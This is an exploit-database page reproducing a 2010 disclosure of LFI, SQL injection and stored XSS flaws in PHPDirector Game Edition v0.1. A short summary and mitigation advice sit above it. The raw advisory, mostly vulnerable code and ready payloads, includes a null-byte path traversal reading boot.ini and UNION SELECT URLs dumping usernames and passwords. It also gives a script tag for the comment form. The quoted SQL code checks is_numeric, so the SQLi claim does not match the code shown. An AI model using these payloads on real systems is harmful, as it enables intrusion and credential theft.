PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)

vendor:

PHPDirector Game Edition

by:

Zer0 Thunder

7,5

CVSS

HIGH

Local File Inclusion/SQL Injection

79, 89

CWE

Product Name: PHPDirector Game Edition

Affected Version From: v0.1

Affected Version To: v0.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP sp2, LinuxBox (Ubuntu Server 9.10)

2010

PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)

PHPDirector Game Edition is vulnerable to Local File Inclusion and SQL Injection. The Local File Inclusion vulnerability exists in the header.php file, where the ‘lang’ parameter is not properly sanitized. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The SQL Injection vulnerability exists in the games.php file, where the ‘id’ parameter is not properly sanitized. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server.

Mitigation:

Input validation should be used to prevent malicious input from entering the system. Sanitize all user input and escape special characters. Use prepared statements to prevent SQL injection.

Source

Exploit-DB raw data:

# Exploit Title: PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)
# Date: 2010-01-05
# Author: Zer0 Thunder
# Site : http://www.play-online.bzh.be/forum/
# Version: v0.1
# Tested on: Windows XP sp2 [WampServer 2.0i] / LinuxBox ( Ubuntu Server 9.10)
# CVE : 
# Code :


Local File Inclusion !

Header.php Vuln
-----------------------------
if(!$_GET["lang"])
 {
  include("lang/".config('lang'));
 }
else
 {
  SetCookie("lang",$_GET["lang"]);
  header('Location: ' . $_SERVER['HTTP_REFERER'] );    
 } 
if (!$_COOKIE["lang"])
 { 
  include("lang/".config('lang'));
 }
else
 {
  $lang = $_COOKIE["lang"];
  include("lang/" . $lang . ".inc.php");
 }
 
 -------------------------------
 
 Exploit :
 http://site.com/path/header.php?header.php?lang=[LFI]
 
 
 Sample ( Tested on a windows box)
 http://localhost/phpdirectorgameedition/header.php?lang=../../../../boot.ini%00
 
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
 
 SQL Injection 

Page : Games.php Vuln Page (line 12 / 121 - 128 )
-----------------------------------------
	$idc = $_GET["id"];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

	if(isset($idc) && is_numeric($idc)){
		$id = mysql_real_escape_string($idc);
		$result = mysql_query("SELECT * FROM pp_files WHERE id=$id AND `approved` = '1' LIMIT 1") or die(mysql_error());  
	}else{
		$result = mysql_query("select * from pp_files WHERE approved='1' AND reject='0' order by rand() LIMIT 1") or die(mysql_error());  
	}
	
-----------------------------------
## There is also a vuln possiblility on line 27-57

Exploit :
http://site/games.php?id=-1 UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
http://site/games.php?id=-1 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from pp_user--


Example : 

DB Version
http://localhost/phpdirectorgameedition/games.php?id=-1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

Users
http://localhost/phpdirectorgameedition/games.php?id=-1 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from pp_user--

# You can't find admin username password in the SQL Database ,It's stroed in config.php
# line 15-16
#
#$cfg["admin_user"] = "admin"; 
#$cfg["admin_pass"] = "test";

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

XSS ( Cross Site Scripting ) 

You Can even use a Xss Shell on this Vuln
Goto this page 

http://localhost/phpdirectorgameedition/games.php?id=1

In the comment form put "<script>alert("XSS")</script>" then put a sybmit the comment 

Vuln Code 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 if(isset($_POST['go']) && !empty($_POST['comment']) && !empty($_POST['nom']))
{
mysql_query("INSERT INTO pp_comment (file_id, nom, comment,ip) VALUES ('$_POST[id]', '$_POST[nom]','".addslashes($_POST['comment'])."','$ip')");

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

########################################
# MSN : zer0_thunder@colombohackers.com
# Email : neonwarlock@live.com
# Site : LKHackers.com
# Greetz : To all my friends
# Note : Proud to be a Sri Lankan
# Me : Sri Lankan Hacker
########################################